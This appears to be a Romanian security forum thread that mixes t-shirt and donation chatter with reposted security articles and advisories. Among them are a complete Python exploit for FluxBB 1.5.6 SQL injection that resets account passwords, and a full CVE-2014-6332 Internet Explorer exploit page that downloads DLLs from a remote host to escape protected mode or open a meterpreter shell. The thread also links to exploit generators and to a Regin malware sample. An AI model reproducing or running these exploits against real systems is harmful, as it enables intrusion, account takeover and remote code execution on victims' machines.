Nytro

Nu am avut timp sa pregatesc. Si nici idei.

Eram vreo 10 cu tricouri, cred ca eram destul de usor de depistat. Am mai adus 4 azi.

threadid. Ideea e ca astfel vezi care sunt cele mai discutate topicuri. Nu o sa iti dai seama daca ceva e foarte discutat astfel. O idee mai buna ar fi ca daca nu se repeta, sa apara in paranteza numarul de posturi. E usor de facut dar cel putin mie imi place mai mult versiunea curenta.

Addressing CVE-2014-6332 SWF Exploit posted by: Alon Livne on November 26, 2014 2:00 PM Continuing a recent trend in which Internet Explorer vulnerabilities are exploited using Flash, samples of an SWF purportedly used in conjunction with CVE-2014-6332 have appeared in several places. The most famous examples of this trend are the exploits for CVE-2014-0322 and CVE-2014-1776. We have yet to encounter the SWF sample with its original exploit attached, but by looking at the SWF, it is clear that it is constructed to function with several forms of memory corruption, making the vulnerability itself less interesting. That is a great example of why our Advanced Endpoint Protection approach, which focuses on the core techniques used in attacks, works well. It will prevent uses of this SWF framework, regardless of the vulnerability it is used with. The interesting part in this exploit is the Flash component. At first glance at the decompiled ActionScript shown here, it seems fairly straightforward, sharing much of its code with the previously seen exploits: This post will not go into detail regarding the spray mechanisms since they are almost identical to the ones seen in previous exploits, but in short: A 0x18180 element vector is sprayed, each vector 0x3FE bytes in size. A timer routine is started, with the browser vulnerability is triggered via an ExternalInterface call to a JavaScript/VBScript function. Once the timed routine detects that the corruption has occurred by scanning the vector for a longer vector, it stops and continued to the next phase. The following vector is corrupted to span the entire memory and read/write abstracts are defined A pointer from Flash_*.ocx is leaked and its base is determined by scanning backwards. After that, addresses of VirtualAlloc and GetProcAddress are resolved from the import table, for later use in assembling the ROP and shellcode. The ROP chain is triggered by overriding the previously created Sound object’s vtable and calling the toString method, leading to the first ROP gadget. At this point it’s worth mentioning one particular behavior. Prior to the shellcode, after the stack pivot, the original stack address (now in eax) is preserved in esi, and then put back into esp as part of the shellcode’s prologue, enabling the shellcode to run on the original stack. The shellcode The interesting part starts with the shellcode, which seems to be tailor made to bypass Microsoft EMET protections, and possibly other security products as well. The first reference to EMET can be seen when the shellcode sets up its data section (containing mostly hashes of functions to later be resolved): The shellcode then starts off by resolving the address of NtSetContextThread by calling GetProcAddress, the address of which was previously written into the heap spray (pointed to by ecx) by the ActionScript code. The shellcode sets up a CONTEXT structure and calls NtSetContextThread, overriding the debug registers and eliminating EMET’s EAF feature, as per the method demonstrated by Piotr Bania in 2012. Once this is accomplished, the challenges faced by the shellcode are greatly reduced. It then proceeds to resolve the previously entered hashes into functions: It resolves the following functions from kernel32 and ntdll in two separate loops: LoadLibraryA GetProcAddress VirtualAlloc IsBadReadPtr WriteProcessMemory GetModuleHandleA Sleep VirtualProtect CreateThread GetProcessHeap CreateFileA WriteFileA CloseHandle WinExec GetTempPathA SetUnhandledExceptionFilter RtlAllocateHeap Memcpy ZwGetContextThread ZwSetContextThread Once all functions are resolved, it proceeds to read a payload PE that was concatenated to the end of the shellcode by the Flash component. The payload PE itself arrives via a file named “shadow.jpg”, and is marked by the magic value 0xDEADBEEF41414141 and another DWORD containing its overall size. It is copied into memory and then written into a file called “windump.exe” in the Local\Temp directory (retrieved using GetTempPathA). At this point another piece of evasive code is introduced: The shellcode checks if EMET.dll is present in the process. If so it simply calls WinExec normally, and the payload is run. Otherwise, it resets the UnhandledExceptionFilter, saves the current esp value, and calls a wrapper function which first takes control of the last SEH handler (pointed to by the TEB) and jumps into WinExec. Upon returning it will reset esp to its preserved value and exit cleanly. Either way, normal execution is restored after having returned from the corrupted sound object’s toString method. Conclusion This exploit is interesting because it is the first display of an in-the-wild attack targeting machines protected by EMET (specifically, EMET 4.1). Oddly enough, the bypass is unfinished – this exploit would be caught by EMET’s stack pivot check on VirtualAlloc. Disable or bypass this single test – and the exploit will succeed in bypassing EMET 4.1. In fact, a fairly small set of customizations could be made to enable this exploit to bypass EMET 5.1 as well. Albeit half-baked, this exploit shows a significant step toward in-the-wild exploits which bypass EMET, whereas in previous exploits of this nature, exploiters actively avoided machines running EMET by using a since patched information disclosure vulnerability in IE (CVE-2014-7331). Worth noting: Palo Alto Networks Traps stopped this exploit with several layers of redundancy. We will continue to examine these exploits and update as appropriate. Sursa: Addressing CVE-2014-6332 SWF Exploit - Palo Alto Networks BlogPalo Alto Networks Blog

How Cross-Site WebSocket Hijacking could lead to full Session Compromise November 27, 2014 12:16 pm | Leave a Comment | LavaKumar Kuppan WebSockets is an HTML5 feature providing full-duplex communications channel over a single TCP connection. This enables building real-time applications by creating a persistent connection between the browser and the server. The most common use case for Websockets is when adding a chat functionality to a web application. This image below gives an apt pictorial representation for websockets (ref: WebSocket.org -- A WebSocket Community) Recently we performed a security assessment of a fairly complex application with good number of menu options and features. The application was leveraging web-sockets for most of its operations. This effectively meant the the logs were not to be found in most of the http-proxy logs. On visiting the homepage the site loads a static HTML page along with some JavaScript and CSS files. After this, the entire communication shifts to Websockets. A websocket connection is created to the server and this loads all the visible HTML sections of the website. Clicking on a link or submitting a form triggers the page to send several WebSocket messages to the server. The server inturn processes these messages and sends new HTML content through WebSocket messages, which is then displayed in the browser. When websocket messages were captured it was evident that the number of messages were overwhelming. Adding to the fact that there was a short interval keep-alive message exchange after every 1 second. The existing tools were not up to the task. Hence I had to add a Websocket Message Analyzer and WebSocket client to IronWASP to understand this Websocket implementation and then fuzz it. You can read about it here. On testing the app we discovered that it was vulnerable to Cross-Site WebSocket Hijacking (first discussed by christian schneider). I will discuss the impact of this issue first before talking about how to test for it. The test for this is so simple that you can and must do it in the first 10 minutes of testing an application that uses Websockets. It should be understood that Same Origin Policy (SOP) is NOT enforced on websockets via browser (pages loaded over SSL are prevented from making non-SSL WebSocket connections in some browsers). The application we tested relied on http cookies for session validation. The messages sent through WebSocket from the browser did not contain any Session ID or other random parameter. So this means that if an user is already logged in to the vulnerable application from his/her browser and has http://attacker.com open in a different tab then http://attacker.com can try to create a WebSocket connection with the vulnerable application and the valid authenticated Session ID will be sent (by the browser) along with this request. So the WebSocket connection, which is now established by http://attacker.com, will have the same level of access as the WebSocket created from within the vulnerable application. As our entire application was running over websockets, hijacking the WebSocket would be equivalent to hijacking the user’s session. So in essence the impact was equivalent to that of Persistent Cross-Site Scripting. If you thought that this is bad then you would be surprised to hear that in some cases Cross-Site WebSocket Scripting can even lead to remote code execution on the user’s system, like in the case of IPython Notebook. Hopefully by now you are convinced that this is the first check you must perform on an application using WebSockets. Fortunately testing for this is very simple. You would need three pieces of information to perform this check: The URL of the WebSocket connection. This starts with either ws:// or wss:// The Origin header that is used in creating this connection. This will be the Origin of the page that is making the making the WebSocket connection Some messages sent by the browser and the server so we know what a normal connection looks like. The image below shows how you can get the Origin and WebSocket URL values from IronWASP logs. Once you have this information then you can do a check for Cross-Site WebSocket Hijacking in a few different ways. I will explain three simple methods: Via Proxy Tools like Burp It should be noted here that burp has interception and recording feature for WebSockets. ZAP and IronWASP are the only software so far (which I am aware) which has the capability to resend websocket requests. In burp as already stated we cannot repeat the websockets messages however we could still test for it in a limited way by checking if a WebSocket handshake succeeds. To test this we need to identify the websocket upgrade request which occurs over http(s) connection and can be repeated. Below screenshot shows a burp Repeater log showing Request and response for a valid request for websocket connection. To test this flaw all we need to do is to send another request with a modified Origin header. If we received 101 Web Socket Protocol Handshake then it means the WebSocket connection has been established. If the connection is not established then then it means the application is secure as it is rejecting WebSocket connections from external Origins. If the connection is established then we would have to perform further checks to confirm if the application is vulnerable to Cross-Site WebSocket Hijacking. Even if a connection is established the application is only vulnerable when it responds to WebSocket messages like it does for a connection from valid Origin. This is because the developer could have placed the Origin verification logic along with the access control checks. So the connection would still be established but external Origins won’t have access to authenticated data in such cases which is a good thing. ZAP has the ability to resend WebSocket messages but as far I am aware it doesnot allow the tampering of the Origin header. The methods shown below explain how you can perform a more thorough check for CSWSH. Using the Cross-Site WebSocket Hijacking Online Tester Open the application to test in your browser and login to it. After this visit, open http://ironwasp.org/cswsh.html in a different tab, enter the WebSocket URL and hit ‘Connect’. Once the connection is established you must be able to send messages to the server from this page. Send messages that were captured from a valid session and see how the server responds. If the server responds in the same way as it did for the valid session then it most likely is vulnerable to Cross-Site WebSocket Hijacking. Using IronWASP IronWASP allows you to do more then just the basic check but also provides you the scripting capabilities to automated the checks. Using IronWASP’s WebSocket Client When testing with the method described above the Origin that is sent to the server is IronWASP - Iron Web application Advanced Security testing Platform. If you want more flexibility in setting the Origin value then you can make use of IronWASP’s WebSocket Client utility. This let’s you define any Origin value you want and test the WebSocket connection. This could come in handy in situations where the application might allow WebSocket connections from the application’s public Origin and along with connections from Origin values that are either equivalent to localhost or some internal private IP address. This could be to support developers and internal testers of the company. By using IronWASP’s WebSocket client you can try combinations of localhost or private IP addresses to see if it works. If it does then exploiting this issue in real-world scenarios could be a little tricky. For example if the application allows http:/127.0.0.1:8080 as the Origin then this could be exploited if the victim has a local webserver running on port 8080 which has an application with Cross-Site Scripting. If it does then an attacker could first perform an XSS on this locally host application and them from there create a WebSocket connection to the actual target server. Automating the check with IronWASP’s WebSocket API If you are going to check with different combinations of localhost and private IP addresses for the Origin header then it might be easier to automate this check with a custom script. IronWASP gives you the ability to script this in either Python or in Ruby. For example the following script would check every single IP in the private IP address space as a Origin header value to see if it is accepted. import clr clr.AddReference("WebsocketClient.exe") from WebsocketClient import * def check_conn(origin): print "Testing origin - " + origin ws = SyncWebsockClient() ws.Connect("ws://tatgetapp.com/ws", origin, "SessionID=KSDI2923EWE9DJSDS01212") ws.Send("first message to send") msg = ws.Read() ws.Close() if msg == "message that is part of valid session": print "Connection successful!!" return True else: return False def check_nw(): for nws in ["192.168.0.0/16", "172.16.0.0/12", "10.0.0.0/8"]: for ip in Tools.NwToIp(nws): if check_conn("http://" + ip): break check_nw() Posted in: Research Sursa: https://www.notsosecure.com/blog/2014/11/27/how-cross-site-websocket-hijacking-could-lead-to-full-session-compromise/

No, si cati v-ati compilat un kernel?

Bitcoin, virtual money: User's identity can be revealed much easier than thought Date: November 25, 2014 Source: Université du Luxembourg Summary: Bitcoin is the new money: minted and exchanged on the Internet. Faster and cheaper than a bank, the service is attracting attention from all over the world. But a big question remains: are the transactions really anonymous? Several research groups worldwide have shown that it is possible to find out which transactions belong together, even if the client uses different pseudonyms. However it was not clear if it is also possible to reveal the IP address behind each transaction. This has changed: researchers have now demonstrated how this is feasible with only a few computers and about €1500. Bitcoin is the new money: minted and exchanged on the Internet. Faster and cheaper than a bank, the service is attracting attention from all over the world. But a big question remains: are the transactions really anonymous? Several research groups worldwide have shown that it is possible to find out which transactions belong together, even if the client uses different pseudonyms. However it was not clear if it is also possible to reveal the IP address behind each transaction. This has changed: researchers at the University of Luxembourg have now demonstrated how this is feasible with only a few computers and about €1500. "It's hard to predict the future, but some people think that Bitcoin could do to finance what the Internet did to communications," says Prof. Alex Biryukov, who leads digital currency research at the University. "So I think especially for Luxembourg it is important to watch what happens with Bitcoin." The Bitcoin system is not managed by a central authority, but relies on a peer-to-peer network on the Internet. Anyone can join the network as a user or provide computing capacity to process the transactions. In the network, the user's identity is hidden behind a cryptographic pseudonym, which can be changed as often as is wanted. Transactions are signed with this pseudonym and broadcast to the public network to verify their authenticity and attribute the Bitcoins to the new owner. In their new study, researchers at the Laboratory of Algorithmics, Cryptology and Security of the University of Luxembourg have shown that Bitcoin does not protect user's IP address and that it can be linked to the user's transactions in real-time. To find this out, a hacker would need only a few computers and about €1500 per month for server and traffic costs. Moreover, the popular anonymization network "Tor" can do little to guarantee Bitcoin user's anonymity, since it can be blocked easily. The basic idea behind these findings is that Bitcoin entry nodes, to which the user's computer connects in order to make a transaction, form a unique identifier for the duration of user's session. This unique pattern can be linked to a user's IP address. Moreover, transactions made during one session, even those made via unrelated pseudonyms, can be linked together. With this method, hackers can reveal up to 60 percent of the IP addresses behind the transactions made over the Bitcoin network. "This Bitcoin network analysis combined with previous research on transaction flows shows that the level of anonymity in the Bitcoin network is quite low," explains Dr. Alex Biryukov. In the paper recently presented at the ACM Conference on Computer and Communications Security the team also described how to prevent such an attack on user's privacy. Software patches written by the researchers are currently under discussion with the Bitcoin core developers. Story Source: The above story is based on materials provided by Université du Luxembourg. Note: Materials may be edited for content and length. Journal Reference: Alex Biryukov, Dmitry Khovratovich, Ivan Pustogarov. Deanonymisation of clients in Bitcoin P2P network. Proceedings of the ACM Conference on Computer and Communications Security, 2014 [link] Sursa: Bitcoin, virtual money: User's identity can be revealed much easier than thought -- ScienceDaily

Asta e tutorialul "Cum sa iti faci tricou cu RST".

Am facut la Unirea, la parter, cu 55 RON. Are doar logo RST pe fata, atat. Imagine: http://i.imgur.com/S0oRGik.png Am pus doar imaginea (marime A4) asta pe un tricou negru.

[h=2]FluxBB 1.5.6 SQL Injection Exploit[/h] #!/usr/bin/env python # Friday, November 21, 2014 - secthrowaway@safe-mail.net # FluxBB <= 1.5.6 SQL Injection # make sure that your IP is reachable url = 'http://target.tld/forum/' user = 'user' # dummy account pwd = 'test' import urllib, sys, smtpd, asyncore, re, sha from email import message_from_string from urllib2 import Request, urlopen ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36" bindip = '0.0.0.0' def stage1(sql): if len(sql) > 80: sys.exit('SQL too long, max 80 chars') print "1st stage: %s (%d chars)" % (sql, len(sql)) r = urlopen(Request('%sprofile.php?action=change_email&id=%s' % (url, uid), data="form_sent=1&req_new_email=%s&req_password=%s&new_email=Submit" % (urllib.quote(sql), pwd), headers={"Referer": "%sprofile.php" % url, "User-agent": ua, "Cookie": cookie})).read() if 'An email has been sent to the specified address' not in r: sys.exit('err') def stage3(key): print "3rd stage, using key: %s" % key r = urlopen(Request('%sprofile.php?action=change_pass&id=%s&key=%s' % (url, uid, key), headers={"User-agent": ua})).read() if 'Your password has been updated' in r: print 'success' else: print 'err' class stage2_smtp(smtpd.SMTPServer): def process_message(self, peer, mailfrom, rcpttos, data): print '2nd stage: got mail', peer, mailfrom, "to:", rcpttos key = re.search("(https?://.*&key=([^\s]+))", message_from_string(data).get_payload(decode=True), re.MULTILINE) if key is not None: raise asyncore.ExitNow(key.group(2)) return def login(): print "logging in" r = urlopen(Request('%slogin.php?action=in' % url, data="form_sent=1&req_username=%s&req_password=%s" % (user, pwd), headers={"User-agent": ua})) try: t = r.info()['set-cookie'].split(';')[0] return (t.split('=')[1].split('%7C')[0], t) except: sys.exit('unable to login, check user/pass') uid, cookie = login() email_domain = urlopen(Request('http://tns.re/gen')).read() print "using domain: %s" % email_domain #this will change your password to your password stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new(pwd).hexdigest(), uid, email_domain)) #this will change admin's (uid=2) password "123456" #stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new("123456").hexdigest(), 2, email_domain)) try: print "2nd stage: waiting for mail" server = stage2_smtp((bindip, 25), None) asyncore.loop() except asyncore.ExitNow, key: stage3(key) # FD4AFB8D7547D584 1337day.com [2014-11-26] F29AD4CCFFC313CB # Sursa: 1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team

CVE-2014-8610 Android < 5.0 SMS resend vulnerability From: "Wang,Tao(Scloud)" <wangtao12 () baidu com> Date: Wed, 26 Nov 2014 02:55:01 +0000 INTRODUCTION ================================== In Android <5.0, an unprivileged app can resend all the SMS stored in the user's phone to their corresponding recipients or senders (without user interaction). No matter whether these SMS are sent to or received from other people. This may leads to undesired cost to user. Even the worse, since Android also allow unprivileged app to create draft SMS, combined with this trick, bad app can send any SMS without privilege requirement. DETAILS ================================== This vulnerability exists in the following source file of the Mms app: https://android.googlesource.com/platform/packages/apps/Mms/+/android-4.4.4_r2.0.1/src/com/android/mms/transaction/SmsReceiverService.java If bad app broadcast an intent with action "com.android.mms.transaction.MESSAGE_SENT", it will reach the method "handleSmsSent". If the bad app can also control the resultcode to be RESULT_ERROR_RADIO_OFF, then it will reach the following conditional branch, there the SMS (determined by uri ) will be moved to a queue to be resent: private void handleSmsSent(Intent intent, int error) { ... } else if ((mResultCode == SmsManager.RESULT_ERROR_RADIO_OFF) || (mResultCode == SmsManager.RESULT_ERROR_NO_SERVICE)) { if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) { Log.v(TAG, "handleSmsSent: no service, queuing message w/ uri: " + uri); } // We got an error with no service or no radio. Register for state changes so // when the status of the connection/radio changes, we can try to send the // queued up messages. registerForServiceStateChanges(); // We couldn't send the message, put in the queue to retry later. Sms.moveMessageToFolder(this, uri, Sms.MESSAGE_TYPE_QUEUED, error); ... The POC code is as follows: Intent intent= new Intent("com.android.mms.transaction.MESSAGE_SENT"); intent.setData(Uri.parse("content://sms")); intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiver"); sendOrderedBroadcast(intent,null,null,null,SmsManager.RESULT_ERROR_RADIO_OFF,null,null); Some tips about the POC: 1. uri is content://sms without specifying the ID, that means all the SMS will be resent. 2. must use explicit intent 3. with this version of sendOrderedBroadcast, the initial result code can be controlled Normally, once the SMS is moved to the queue, it will be sent automatically! But can we craft any SMS message? here is a trick: Currently, any app can create a draft SMS without permission by a code snippet as follows: Intent intent1 = new Intent("android.intent.action.SENDTO"); intent1.setData(Uri.parse("smsto:yourphonenumber")); intent1.putExtra("sms_body", "another test sms1!"); startActivity(intent1); After send the above intent, the app can wait for a short time then start another activity, this will cause ComposeMessageActivity in MMS app to call method onStop(), which will save the draft into database, which can be resent later. Thus we can craft any SMS message without permission requirement. This has been fixed in android 5.0 (android bug id 17671795) https://android.googlesource.com/platform/packages/apps/Mms/+/008d6202fca4002a7dfe333f22377faa73585c67 TIMELINE ================================== 26.09.2014 Initial report to Android Security Team with the POC 27.09.2014 Reply from Android Security Team "are looking into it" 30.09.2014 Find app can create draft and notify Android Security Team with a updated POC 02.10.2014 Reply from Android Security Team "We will fix this issue in the next major release" 04.11.2014 Android 5.0 source code is open, the fix for this issue is found in change log, ask Android Security Team when this can be published 09.11.2014 Contact MITRE about this issue 20.11.2014 CVE-2014-8610 assigned 25.11.2014 Got Permission from Android Security Team to publish this 26.11.2014 Public Disclosure IDENTIFIERS ================================== CVE-2014-8610 Android id 17671795 CREDITS ================================== WangTao (neobyte) of Baidu X-Team WangYu of Baidu X-Team Zhang Donghui of Baidu X-Team -- BAIDU X-TEAM (xteam.baidu.com) An external link of this advisory can be found at CVE-2014-8610 Android < 5.0 SMS resend vulnerability | ????????? Sursa: Full Disclosure: CVE-2014-8610 Android < 5.0 SMS resend vulnerability

THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS Kaspersky Lab Report Version 1.0 24 November 2014 Contents Introduction, history...................................................................................................................................................... 3 Initial compromise and lateral movement................................................................................................................... 3 The Regin platform........................................................................................................................................................ 4 Stage 1 – 32/64 bit................................................................................................................................................ 4 Stage 2 – loader – 32-bit....................................................................................................................................... 7 Stage 2 – loader – 64-bit....................................................................................................................................... 8 Stage 3 – 32-bit – kernel mode manager “VMEM.sys”........................................................................................ 8 Stage 3 – 64-bit....................................................................................................................................................... 9 Stage 4 (32-bit) / 3 (64-bit) – dispatcher module, ‘disp.dll’................................................................................. 9 32-bit.................................................................................................................................................................. 9 64-bit.................................................................................................................................................................. 9 Stage 4 – Virtual File Systems (32/64-bit)..........................................................................................................10 Unusual modules and artifacts..................................................................................................................................16 Artifacts..................................................................................................................................................................16 GSM targeting........................................................................................................................................................18 Communication and C&C...........................................................................................................................................20 Victim statistics ..........................................................................................................................................................22 Attribution....................................................................................................................................................................23 Conclusions.................................................................................................................................................................23 Technical appendix and indicators of compromise...................................................................................................24 Yara rules................................................................................................................................................................24 MD5s......................................................................................................................................................................25 Registry branches used to store malware stages 2 and 3.............................................................................26 C&C IPs...................................................................................................................................................................26 VFS RC5 decryption algorithm..............................................................................................................................27 Download: https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf

[h=1]International Journal of PoC || GTFO issues[/h] To comply with and support the samizdat license of PoC||GTFO, here are the journal issues so far: Issue 0x00 Issue 0x01 Issue 0x02 Issue 0x03 Issue 0x04 Issue 0x05 Issue 0x06 Sursa: International Journal of PoC || GTFO issues [Openwall Community Wiki] Cool stuff!

CVE-2014-6332 PoC to get shell or bypass protected mode <html> <head> <!-- CVE-2014-6332 PoC to get meterpreter shell or bypass IE protected mode - Tested on IE11 + Windows 7 64-bit References: - original PoC - http://www.exploit-db.com/exploits/35229/ - http://blog.trendmicro.com/trendlabs-security-intelligence/a-killer-combo-critical-vulnerability-and-godmode-exploitation-on-cve-2014-6332/ - http://security.coverity.com/blog/2014/Nov/eric-lippert-dissects-cve-2014-6332-a-19-year-old-microsoft-bug.html - https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf - http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb --> <meta http-equiv="x-ua-compatible" content="IE=10"> </head> <body> <script language="javascript"> var oReq; function getdll(downloadFile) { oReq = new XMLHttpRequest(); oReq.open("GET", "http://192.168.1.100/"+downloadFile, true); oReq.onreadystatechange = handler; oReq.send(); } function handler() { if (oReq.readyState == 4 && oReq.status == 200) { OnDownloadDone(); } } function tolocal() { location.href = "http://localhost:5555/stage2.html" } </script> <script language="VBScript"> ' local server files to get medium integrity downloadFiles = Array("ieshell32.dll", "ielocalserver.dll", "stage2.html") cacheRegex = Array("^ieshell32\[\d\].dll$", "^ielocalserver\[\d\].dll$", "^stage2\[\d\].htm$") ' reverse meterpreter shell files 'downloadFiles = Array("ieshell32.dll", "metp.dll") 'cacheRegex = Array("^ieshell32\[\d\].dll$", "^metp\[\d\].dll$") Dim cacheFiles(3) Dim downloadState Dim pinTime Dim oFSO Dim oWS Dim shell function FindFile(path, regexFile) FindFile = "" For Each f in oFSO.GetFolder(path).Files If regexFile.Test(f.Name) Then FindFile = f.Name Exit For End If Next end function function SearchCache(path, regexFile) SearchCache = "" For Each fld in oFSO.GetFolder(path).SubFolders 'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then filename = FindFile(path & "\" & fld.Name, regexFile) If filename <> "" Then SearchCache = path & "\" & fld.Name & "\" & filename Exit For End If 'End If Next end function function loaddll() On Error Resume Next Set wshSystemEnv = oWS.Environment("Process") tmpDir = oFSO.GetSpecialFolder(2) tmpSysDir = tmpDir & "\System32" tmpShellFile = tmpSysDir & "\shell32.dll" oFSO.CreateFolder(tmpSysDir) oFSO.CopyFile cacheFiles(0), tmpShellFile mydllFile = tmpDir & "\" & downloadFiles(1) oFSO.CopyFile cacheFiles(1), mydllFile wshSystemEnv("MyDllPath") = mydllFile If (UBound(downloadFiles) = 2) Then stage2File = tmpDir & "\stage2.html" oFSO.CopyFile cacheFiles(2), stage2File wshSystemEnv("stage2file") = stage2File End If saveRoot = wshSystemEnv("SystemRoot") wshSystemEnv("SaveSystemRoot") = saveRoot wshSystemEnv("SystemRoot") = tmpDir Set shell = CreateObject("Shell.Application") ' have to restore %SystemRoot% in dll, not here oFSO.DeleteFile tmpShellFile oFSO.DeleteFolder tmpSysDir If (UBound(downloadFiles) = 2) Then call tolocal() End If end function Sub OnDownloadDone() cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%") cacheDir = cacheDir & "\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5" Set regexFile = new regexp regexFile.Pattern = cacheRegex(downloadState) cacheFiles(downloadState) = SearchCache(cacheDir, regexFile) If cacheFiles(downloadState) = "" Then Exit Sub End If If downloadState = UBound(downloadFiles) Then loaddll() Else downloadState = downloadState + 1 DoDownload() End If End Sub Sub DoDownload() pinTime = Now call getdll(downloadFiles(downloadState)) End Sub Sub runshell() Set oFSO = CreateObject("Scripting.FileSystemObject") Set oWS = CreateObject("WScript.Shell") downloadState = 0 DoDownload() End Sub </script> <script language="VBScript"> dim arrX() dim arrY() dim asize dim incsize dim olapPos Begin() function Begin() On Error Resume Next Init() If Exploit() = True Then EnableGodMode() redim Preserve arrX(asize) runshell() End If end function function Init() Randomize() asize = 13 + 17*rnd(6) incsize = 7 + 3*rnd(5) end function function Exploit() dim i Exploit = False For i = 0 To 400 asize = asize + incsize If Trigger() = True Then Exploit = True Exit For End If Next end function function Trigger() On Error Resume Next dim typev dim ofnumele Trigger = False olapPos = asize + 2 ofnumele = asize + &h8000000 redim Preserve arrX(asize) redim arrY(asize) redim Preserve arrX(ofnumele) typev = 1 arrY(0) = 1.123456789012345678901234567890 If (IsObject(arrX(olapPos-1)) = False) Then If (VarType(arrX(olapPos-1)) <> 0) Then If (IsObject(arrX(olapPos)) = False) Then typev = VarType(arrX(olapPos)) End If End If End If If (typev = &h2f66) Then Trigger = True Else redim Preserve arrX(asize) End If end function function ReadMemInt(addr) arrY(0) = 0 arrX(olapPos) = addr+4 arrY(0) = 8 ReadMemInt = lenb(arrX(olapPos)) end function function EnableGodMode() i = LeakFnAddr() i = ReadMemInt(i+8) i = ReadMemInt(i+16) myarray = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uFFFF%u7FFF%u0000%u0000") arrX(olapPos+2) = myarray arrY(2) = 8192 + 12 EnableGodMode = False For k=0 To &h60 step 4 j = ReadMemInt(i+&h120+k) If (j = 14) Then arrX(olapPos+2)(i+&h11c+k) = arrY(4) EnableGodMode = True Exit For End If Next end function sub dummyfn() end sub function LeakFnAddr() On Error Resume Next i = dummyfn i = null arrY(0) = 0 arrX(olapPos) = i arrY(0) = 3 LeakFnAddr = arrX(olapPos) end function </script> </body> </html> Sursa: https://gist.github.com/worawit/1213febe36aa8331e092

Cativa ne-am facut tricou cu RST. Cine vrea detalii sa imi dea PM.

No, vedeto, tu ramai andargraund :">

E ok. Nu ne place spam-ul, postati doar cand e cazul, nu doar ca sa va aflati in treaba.

Tocmai din acest motiv nu vrem bani de la voi: veniti cu 5 euro, cat e un pachet de tigari, si mai vreti si avantaje. ";)" De exemplu, e cineva care a dat de cateva ori cate 100 de euro. Si nu, nu a dorit niciun avantaj. Cam asta inseamna donatie.

Paul Rascagnères ?@r00tbsd Oct 20 CVE-2014-4113 privilege escalation: https://mega.co.nz/#!tJVBlIwZ!Lg8UTeZjraTcBl0lEHWZ6PV6tXhr1v8IY7RWT0e83Hs and CVE-2014-4114 generator here: https://mega.co.nz/#!xRVVgYjI!tDXctdYUI_z1CYp1TMa54OO2xoSIuzmACKPWBHDnM4M

Pentru amatori. Download: Zippyshare.com - VirusShare_Regin_20141124.zip Parola: infected

The branded bug: Meet the people who name vulnerabilities Summary: Opinion: As 2014 comes to a close, bugs are increasingly disclosed with catchy names and logos. Heartbleed's branding changed the way we talk about security, but is making a bug 'cool' frivolous or essential? By Violet Blue for Zero Day | November 25, 2014 -- 14:33 GMT (06:33 PST) If the bug is dangerous enough, it gets a name. Heartbleed's branding changed the way we talk about security, but did giving a bug a logo make it frivolous... or is this the evolution of infosec? Criminals, such as bank robbers, are often named because there are too many to keep track of. Just as killers and gangsters end up in history marked and defined by where they murdered (the "Trailside Killer") or having a characteristic ("Baby Face" Nelson), the same goes for critical bugs and zero days. Stephen Ward, Senior Director at iSIGHT Partners (iSIGHT reported the "Sandworm" Microsoft zero-day), explained to ZDNet, "Researchers will often use unique characteristics discovered in malware or in command and control to give a team or a particular exploit a name. It helps to create an understanding and an ongoing reference point as malware variants surface or activities of a team continue." He continued, We count distinct cyber espionage operators by the dozen now — as it relates to Russia there are at least five that we have come to name based on their continued activities. Without naming these teams, it would be impossible for a network defender to keep track of them all. We think that’s essential, because intimately understanding these teams is the first step to mounting an effective defense. Giving a name to a team — as we have done with Sandworm — helps practitioners and researchers track and attribute tactics, techniques, procedures and ongoing campaigns back to the team. By assigning identities, It helps to bring these actors out of the shadows and into the light. Questions surrounding exploit naming began to nag infosec communities once the first truly branded bug made instant headlines — the legendary Heartbleed bug. Heartbleed was discovered Friday, March 21, 2014 — though possibly before — by Google Security's Neel Mehta. That same day, Google's team committed a patch for it — then sent it to Open SSL and Red Hat. Someone on Google's private Heartbleed brigade told someone at commercial website security company CloudFlare, who patched it on March 31. Facebook also got a private heads-up, as did Akamai. A giant game of behind-the-scenes finger pointing erupted, and Google took a page from the Apple playbook, refusing to comment to press on who was told what, if anything, or when. Meanwhile, Finnish security company Codenomicon engineers Antti Karjalainen, Riku Hietamäki, and Matti Kamunen separately discovered Heartbleed on April 3, with the firm informing the National Cyber Security Centre Finland the next day. Ari Takanen, Chief Research Officer, Codenomicon Ltd., told ZDNet, "The Heartbleed vulnerability is in the Heartbeat extension of the OpenSSL library. Ossi Herrala, one of our system administrators, coined the name Heartbleed." Takanen explained, "He thought it was fitting to call the vulnerability Heartbleed, because it was bleeding out important information from the memory." Codenomicon CEO David Chartier told Bloomberg that his team then immediately went to work on a marketing plan. Codenomicon subsequently purchased the Heartbleed.com domain name on April 5 — while news of the bug spread through Red Hat and on private email lists, on which a Red Hat employee said there would be a public disclosure on April 9. Things didn't quite turn out as planned. Half an hour after OpenSSL published a security advisory the morning of April 7, CloudFlare bragged in a blog post and a tweet that it was first to protect its customers, and how CloudFlare was enacting an example for "responsible disclosure." An hour after CloudFlare's little surprise, Codenomicon tweeted to announce the bug, now named Heartbleed, linking to a fully prepared website, with a logo, and an alternate SVG file of the logo made available for download. Heartbleed's logo was created in just a few hours by 27-year-old Finnish graphic designer and Codenomicon employee Leena Snidate, who later told Newsweek, "I had to move quickly as the site was going live immediately." Her design was a hit. A quick cruise through Heartbleed's hashtag on Twitter shows people wanting hats, t-shirts, stickers, and even one hardware hacker's Heartbleed-logo pedicure. Unlike Google and Facebook, many companies were taken by surprise by Heartbleed, including Amazon Web Services, Yahoo!, Twitter, Wordpress, Dropbox, 